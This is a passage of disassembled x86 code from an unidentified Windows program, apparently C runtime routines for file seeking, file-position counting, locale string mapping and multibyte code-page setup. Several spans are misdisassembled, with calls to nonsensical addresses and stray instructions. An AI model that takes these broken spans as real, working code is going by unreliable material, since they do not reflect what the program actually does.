; ---------------------------------------------------------------------------


loc_41BB2B:				; CODE XREF: sub_41B969+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41BB3B
		or	al, 2
		mov	[esi], al


loc_41BB3B:				; CODE XREF: sub_41B969+101j
					; sub_41B969+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41BB41:				; CODE XREF: sub_41B969+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41BB5A
; ---------------------------------------------------------------------------


loc_41BB46:				; CODE XREF: sub_41B969+12j
					; sub_41B969+39j
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 9


loc_41BB57:				; CODE XREF: sub_41B969+ABj
					; sub_41B969+C3j
		or	eax, 0FFFFFFFFh


loc_41BB5A:				; CODE XREF: sub_41B969+B7j
					; sub_41B969+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B969	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB5F	proc near		; CODE XREF: sub_416E1E+67p
					; sub_417C17+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, ds:dword_46A880
		push	esi
		push	edi
		jnb	short loc_41BBE1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A780h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41BBE1
		push	eax
		call	sub_41D4A6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41BBA3
		mov	ds:dword_469464, 9
		jmp	short loc_41BBF2
; ---------------------------------------------------------------------------


loc_41BBA3:				; CODE XREF: sub_41BB5F+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		call	ds:dword_4210AC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41BBC3
		call	ds:dword_421088
		jmp	short loc_41BBC5
; ---------------------------------------------------------------------------


loc_41BBC3:				; CODE XREF: sub_41BB5F+5Aj
		xor	eax, eax


loc_41BBC5:				; CODE XREF: sub_41BB5F+62j
		test	eax, eax
		jz	short loc_41BBD2
		push	eax
		call	sub_41C5B7
		pop	ecx
		jmp	short loc_41BBF2
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BB5F+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41BBF5
; ---------------------------------------------------------------------------


loc_41BBE1:				; CODE XREF: sub_41BB5F+Dj
					; sub_41BB5F+2Aj
		and	ds:dword_469468, 0
		mov	ds:dword_469464, 9


loc_41BBF2:				; CODE XREF: sub_41BB5F+42j
					; sub_41BB5F+71j
		or	eax, 0FFFFFFFFh


loc_41BBF5:				; CODE XREF: sub_41BB5F+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41BB5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBF9	proc near		; CODE XREF: sub_416E1E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41BC15
		mov	[edi+4], ebx


loc_41BC15:				; CODE XREF: sub_41BBF9+17j
		push	1
		push	ebx
		push	esi
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41BC83
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41BC3A
		sub	eax, [edi+4]
		jmp	loc_41BD4C
; ---------------------------------------------------------------------------


loc_41BC3A:				; CODE XREF: sub_41BBF9+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41BC74
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, ds:dword_46A780[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41BC8B
		mov	edx, ecx


loc_41BC65:				; CODE XREF: sub_41BBF9+79j
		cmp	edx, eax
		jnb	short loc_41BC8B
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41BC71
		inc	[ebp+var_8]


loc_41BC71:				; CODE XREF: sub_41BBF9+73j
		inc	edx
		jmp	short loc_41BC65
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: sub_41BBF9+50j
		test	dl, 80h
		jnz	short loc_41BC8B
		mov	ds:dword_469464, 16h


loc_41BC83:				; CODE XREF: sub_41BBF9+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41BD4C
; ---------------------------------------------------------------------------


loc_41BC8B:				; CODE XREF: sub_41BBF9+68j
					; sub_41BBF9+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41BC99
		mov	eax, [ebp+var_8]
		jmp	loc_41BD4C
; ---------------------------------------------------------------------------


loc_41BC99:				; CODE XREF: sub_41BBF9+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41BD44
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41BCB2
		and	[ebp+var_8], edx
		jmp	loc_41BD44
; ---------------------------------------------------------------------------


loc_41BCB2:				; CODE XREF: sub_41BBF9+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A780h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41BD3E
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BD05
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41BCF0:				; CODE XREF: sub_41BBF9+104j
		cmp	eax, ecx
		jnb	short loc_41BCFF
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41BCFC
		inc	[ebp+arg_0]


loc_41BCFC:				; CODE XREF: sub_41BBF9+FEj
		inc	eax
		jmp	short loc_41BCF0
; ---------------------------------------------------------------------------


loc_41BCFF:				; CODE XREF: sub_41BBF9+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41BD39
; ---------------------------------------------------------------------------


loc_41BD05:				; CODE XREF: sub_41BBF9+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41BB5F
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41BD2C
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41BD2C
		test	ch, 4
		jz	short loc_41BD2F


loc_41BD2C:				; CODE XREF: sub_41BBF9+124j
					; sub_41BBF9+12Cj
		mov	eax, [edi+18h]


loc_41BD2F:				; CODE XREF: sub_41BBF9+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41BD39:				; CODE XREF: sub_41BBF9+10Aj
		jz	short loc_41BD3E
		inc	[ebp+arg_0]


loc_41BD3E:				; CODE XREF: sub_41BBF9+D9j
					; sub_41BBF9:loc_41BD39j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41BD44:				; CODE XREF: sub_41BBF9+A4j
					; sub_41BBF9+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41BD4C:				; CODE XREF: sub_41BBF9+3Cj
					; sub_41BBF9+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBF9	endp

; ---------------------------------------------------------------------------


loc_41BD51:				; CODE XREF: sub_417173+A3p
					; sub_41AC51+A5p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421878
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		xor	edi, edi
		cmp	ds:dword_4694EC, edi
		jnz	short loc_41BDC7
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_421870
		mov	esi, 100h
		push	esi
		push	edi
		call	ds:dword_421190
		test	eax, eax
		jz	short loc_41BDA5
		mov	ds:dword_4694EC, ebx
		jmp	short loc_41BDC7
; ---------------------------------------------------------------------------


loc_41BDA5:				; CODE XREF: seg000:0041BD9Bj
		push	edi
		push	edi
		push	ebx
		push	offset dword_438FA4
		push	esi
		push	edi
		call	near ptr 2515AC7Eh
		pop	es
		test	eax, eax
		jz	loc_41BEDF
		mov	ds:dword_4694EC, 2


loc_41BDC7:				; CODE XREF: seg000:0041BD7Fj
					; seg000:0041BDA3j
		cmp	[ebp+14h], edi
		jle	short loc_41BDDC
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		call	sub_41BF75
		pop	ecx
		pop	ecx
		mov	[ebp+14h], eax


loc_41BDDC:				; CODE XREF: seg000:0041BDCAj
		mov	eax, ds:dword_4694EC
		cmp	eax, 2
		jnz	short loc_41BE03
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 0F7223209h
		imul	cl
		fiadd	word ptr [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: seg000:0041BDE4j
		cmp	eax, 1
		jnz	loc_41BEDF
		cmp	[ebp+20h], edi
		jnz	short loc_41BE19
		mov	eax, ds:dword_469508
		mov	[ebp+20h], eax


loc_41BE19:				; CODE XREF: seg000:0041BE0Fj
		push	edi
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		mov	eax, [ebp+24h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+20h]
		call	ds:dword_421064
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		cmp	ebx, edi
		jz	loc_41BEDF
		mov	[ebp-4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp-18h], esp
		mov	eax, esp
		mov	[ebp-24h], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41BE74
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-24h], edi
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_41BE74:				; CODE XREF: seg000:0041BE5Fj
		cmp	[ebp-24h], edi
		jz	short loc_41BEDF
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	1
		push	dword ptr [ebp+20h]
		call	ds:dword_421064
		test	eax, eax
		jz	short loc_41BEDF
		push	edi
		push	edi
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190
		mov	esi, eax
		mov	[ebp-28h], esi
		cmp	esi, edi
		jz	short loc_41BEDF
		test	byte ptr [ebp+0Dh], 4
		jz	short loc_41BEF3
		cmp	[ebp+1Ch], edi
		jz	loc_41BF6E
		cmp	esi, [ebp+1Ch]
		jg	short loc_41BEDF
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	ebx
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190
		test	eax, eax
		jnz	loc_41BF6E


loc_41BEDF:				; CODE XREF: seg000:0041BDB7j
					; seg000:0041BE06j ...
		xor	eax, eax


loc_41BEE1:				; CODE XREF: seg000:0041BF70j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BEF3:				; CODE XREF: seg000:0041BEB1j
		mov	dword ptr [ebp-4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp-18h], esp
		mov	ebx, esp
		mov	[ebp-20h], ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_41BF27
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	edi, edi
		xor	ebx, ebx
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-28h]


loc_41BF27:				; CODE XREF: seg000:0041BF13j
		cmp	ebx, edi
		jz	short loc_41BEDF
		push	esi
		push	ebx
		push	dword ptr [ebp-1Ch]
		push	dword ptr [ebp-24h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	ds:dword_421190
		test	eax, eax
		jz	short loc_41BEDF
		cmp	[ebp+1Ch], edi
		push	edi
		push	edi
		jnz	short loc_41BF4E
		push	edi
		push	edi
		jmp	short loc_41BF54
; ---------------------------------------------------------------------------


loc_41BF4E:				; CODE XREF: seg000:0041BF48j
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]


loc_41BF54:				; CODE XREF: seg000:0041BF4Cj
		push	esi
		push	ebx
		push	220h
		push	dword ptr [ebp+20h]
		call	ds:dword_421138
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41BEDF


loc_41BF6E:				; CODE XREF: seg000:0041BEB6j
					; seg000:0041BED9j
		mov	eax, esi
		jmp	loc_41BEE1

; =============== S U B	R O U T	I N E =======================================



sub_41BF75	proc near		; CODE XREF: seg000:0041BDD2p
					; sub_41F825+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41BF92


loc_41BF85:				; CODE XREF: sub_41BF75+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41BF92
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41BF85


loc_41BF92:				; CODE XREF: sub_41BF75+Ej
					; sub_41BF75+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41BF9D
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41BF9D:				; CODE XREF: sub_41BF75+21j
		mov	eax, edx
		retn
sub_41BF75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFA0	proc near		; CODE XREF: sub_41C364+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41C139
		mov	esi, eax
		pop	ecx
		cmp	esi, ds:dword_46A884
		mov	[ebp+arg_0], esi
		jz	loc_41C12D
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41C123
		xor	edx, edx
		mov	eax, offset dword_4380C0


loc_41BFD4:				; CODE XREF: sub_41BFA0+41j
		cmp	[eax], esi
		jz	short loc_41C04A
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_4381B0
		jl	short loc_41BFD4
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 0EA27F255h
		inc	edx
		cmp	eax, 1
		jnz	loc_41C11B
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9A0
		cmp	[ebp+var_18], 1
		mov	ds:dword_46A884, esi
		rep stosd
		stosb
		mov	ds:dword_46AAA4, ebx
		jbe	loc_41C109
		cmp	[ebp+var_12], 0
		jz	loc_41C0DF
		lea	ecx, [ebp+var_11]


loc_41C027:				; CODE XREF: sub_41BFA0+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41C0DF
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41C038:				; CODE XREF: sub_41BFA0+A8j
		cmp	eax, edx
		ja	loc_41C0D3
		or	ds:byte_46A9A1[eax], 4
		inc	eax
		jmp	short loc_41C038
; ---------------------------------------------------------------------------


loc_41C04A:				; CODE XREF: sub_41BFA0+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_46A9A0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_4380D0[esi]


loc_41C066:				; CODE XREF: sub_41BFA0+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41C099


loc_41C06D:				; CODE XREF: sub_41BFA0+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41C099
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41C092
		mov	edx, [ebp+var_4]
		mov	dl, ds:byte_4380B8[edx]


loc_41C087:				; CODE XREF: sub_41BFA0+F0j
		or	ds:byte_46A9A1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41C087


loc_41C092:				; CODE XREF: sub_41BFA0+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41C06D


loc_41C099:				; CODE XREF: sub_41BFA0+CBj
					; sub_41BFA0+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41C066
		mov	eax, [ebp+arg_0]
		mov	ds:dword_46A89C, 1
		push	eax
		mov	ds:dword_46A884, eax
		call	sub_41C183
		lea	esi, dword_4380C4[esi]
		mov	edi, offset dword_46A890
		movsd
		movsd
		pop	ecx
		mov	ds:dword_46AAA4, eax
		movsd
		jmp	short loc_41C128
; ---------------------------------------------------------------------------


loc_41C0D3:				; CODE XREF: sub_41BFA0+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41C027


loc_41C0DF:				; CODE XREF: sub_41BFA0+7Ej
					; sub_41BFA0+8Bj
		push	1
		pop	eax


loc_41C0E2:				; CODE XREF: sub_41BFA0+14Fj
		or	ds:byte_46A9A1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41C0E2
		push	esi
		call	sub_41C183
		pop	ecx
		mov	ds:dword_46AAA4, eax
		mov	ds:dword_46A89C, 1
		jmp	short loc_41C10F
; ---------------------------------------------------------------------------


loc_41C109:				; CODE XREF: sub_41BFA0+74j
		mov	ds:dword_46A89C, ebx


loc_41C10F:				; CODE XREF: sub_41BFA0+167j
		xor	eax, eax
		mov	edi, offset dword_46A890
		stosd
		stosd
		stosd
		jmp	short loc_41C128
; ---------------------------------------------------------------------------


loc_41C11B:				; CODE XREF: sub_41BFA0+51j
		cmp	ds:dword_469510, ebx
		jz	short loc_41C131


loc_41C123:				; CODE XREF: sub_41BFA0+27j
		call	sub_41C1B6


loc_41C128:				; CODE XREF: sub_41BFA0+131j
					; sub_41BFA0+179j
		call	sub_41C1DF


loc_41C12D:				; CODE XREF: sub_41BFA0+1Dj
		xor	eax, eax
		jmp	short loc_41C134
; ---------------------------------------------------------------------------


loc_41C131:				; CODE XREF: sub_41BFA0+181j
		or	eax, 0FFFFFFFFh


loc_41C134:				; CODE XREF: sub_41BFA0+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C139	proc near		; CODE XREF: sub_41BFA0+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	ds:dword_469510, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short near ptr loc_41C158+1
		mov	ds:dword_469510, 1
		call	near ptr 0B0C1181Ah


loc_41C158:				; CODE XREF: sub_41C139+Ej
		inc	byte ptr [ebx+1075FDF8h]
		mov	ds:dword_469510, 1
		call	near ptr 0BC8815E5h
		les	eax, [ebx+0F75FCF8h]
		mov	eax, ds:dword_469508
		mov	ds:dword_469510, 1
		retn
sub_41C139	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C183	proc near		; CODE XREF: sub_41BFA0+118p
					; sub_41BFA0+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C1B0
		sub	eax, 4
		jz	short loc_41C1AA
		sub	eax, 0Dh
		jz	short loc_41C1A4
		dec	eax
		jz	short loc_41C19E
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C19E:				; CODE XREF: sub_41C183+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41C1A4:				; CODE XREF: sub_41C183+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41C1AA:				; CODE XREF: sub_41C183+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41C1B0:				; CODE XREF: sub_41C183+9j
		mov	eax, 411h
		retn
sub_41C183	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B6	proc near		; CODE XREF: sub_41BFA0:loc_41C123p
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_46A9A0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_46A890
		mov	ds:dword_46A884, eax
		mov	ds:dword_46A89C, eax
		mov	ds:dword_46AAA4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C1B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C1DF	proc near		; CODE XREF: sub_41BFA0:loc_41C128p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	ds:dword_46A884
		call	near ptr 9727CFAh
		inc	eax
		cmp	eax, 1
		jnz	loc_41C318
		xor	eax, eax
		mov	esi, 100h


loc_41C209:				; CODE XREF: sub_41C1DF+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C209
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C25A
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41C228:				; CODE XREF: sub_41C1DF+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C24F
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41C24F:				; CODE XREF: sub_41C1DF+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C228
		pop	edi
		pop	ebx


loc_41C25A:				; CODE XREF: sub_41C1DF+42j
		push	0
		lea	eax, [ebp+var_514]
		push	ds:dword_46AAA4
		push	ds:dword_46A884
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	loc_41D1D7
		push	0
		lea	eax, [ebp+var_214]
		push	ds:dword_46A884
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	ds:dword_46AAA4
		call	loc_41BD51
		push	0
		lea	eax, [ebp+var_314]
		push	ds:dword_46A884
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	ds:dword_46AAA4
		call	loc_41BD51
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41C2D5:				; CODE XREF: sub_41C1DF+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C2F3
		or	ds:byte_46A9A1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41C2EB:				; CODE XREF: sub_41C1DF+127j
		mov	ds:byte_46A8A0[eax], dl
		jmp	short loc_41C30F
; ---------------------------------------------------------------------------


loc_41C2F3:				; CODE XREF: sub_41C1DF+FCj
		test	dl, 2
		jz	short loc_41C308
		or	ds:byte_46A9A1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41C2EB
; ---------------------------------------------------------------------------


loc_41C308:				; CODE XREF: sub_41C1DF+117j
		and	ds:byte_46A8A0[eax], 0


loc_41C30F:				; CODE XREF: sub_41C1DF+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C2D5
		jmp	short loc_41C361
; ---------------------------------------------------------------------------


loc_41C318:				; CODE XREF: sub_41C1DF+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41C31F:				; CODE XREF: sub_41C1DF+180j
		cmp	eax, 41h
		jb	short loc_41C33D
		cmp	eax, 5Ah
		ja	short loc_41C33D
		or	ds:byte_46A9A1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41C335:				; CODE XREF: sub_41C1DF+174j
		mov	ds:byte_46A8A0[eax], cl
		jmp	short loc_41C35C
; ---------------------------------------------------------------------------


loc_41C33D:				; CODE XREF: sub_41C1DF+143j
					; sub_41C1DF+148j
		cmp	eax, 61h
		jb	short loc_41C355
		cmp	eax, 7Ah
		ja	short loc_41C355
		or	ds:byte_46A9A1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C335
; ---------------------------------------------------------------------------


loc_41C355:				; CODE XREF: sub_41C1DF+161j
					; sub_41C1DF+166j
		and	ds:byte_46A8A0[eax], 0


loc_41C35C:				; CODE XREF: sub_41C1DF+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C31F


loc_41C361:				; CODE XREF: sub_41C1DF+137j
		pop	esi
		leave
		retn
sub_41C1DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C364	proc near		; CODE XREF: seg000:0041C7ABp
					; seg000:0041C807p ...
		cmp	ds:dword_46AACC, 0
		jnz	short locret_41C37F
		push	0FFFFFFFDh
		call	sub_41BFA0
		pop	ecx
		mov	ds:dword_46AACC, 1

locret_41C37F:				; CODE XREF: sub_41C364+7j
		retn
sub_41C364	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C380	proc near		; CODE XREF: sub_417328+2Bp
					; sub_417328+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_46A89C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C3A4
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_416D20
		add	esp, 0Ch
		jmp	short loc_41C407
; ---------------------------------------------------------------------------


loc_41C3A4:				; CODE XREF: sub_41C380+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C3E9
		mov	ecx, [ebp+arg_4]


loc_41C3AF:				; CODE XREF: sub_41C380+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	ds:byte_46A9A1[esi], 4
		mov	[edi], al
		jz	short loc_41C3D3
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C3DF
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C3E5
		jmp	short loc_41C3D9
; ---------------------------------------------------------------------------


loc_41C3D3:				; CODE XREF: sub_41C380+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C3E9


loc_41C3D9:				; CODE XREF: sub_41C380+51j
		test	edx, edx
		jnz	short loc_41C3AF
		jmp	short loc_41C3E9
; ---------------------------------------------------------------------------


loc_41C3DF:				; CODE XREF: sub_41C380+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C3E9
; ---------------------------------------------------------------------------


loc_41C3E5:				; CODE XREF: sub_41C380+4Fj
		and	byte ptr [edi-2], 0


loc_41C3E9:				; CODE XREF: sub_41C380+2Aj
					; sub_41C380+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C404
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41C404:				; CODE XREF: sub_41C380+6Fj
		mov	eax, [ebp+arg_0]


loc_41C407:				; CODE XREF: sub_41C380+22j
		pop	edi
		pop	ebp
		retn
sub_41C380	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C40A	proc near		; CODE XREF: seg000:00417681p
					; sub_417C17+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_46A880
		push	esi
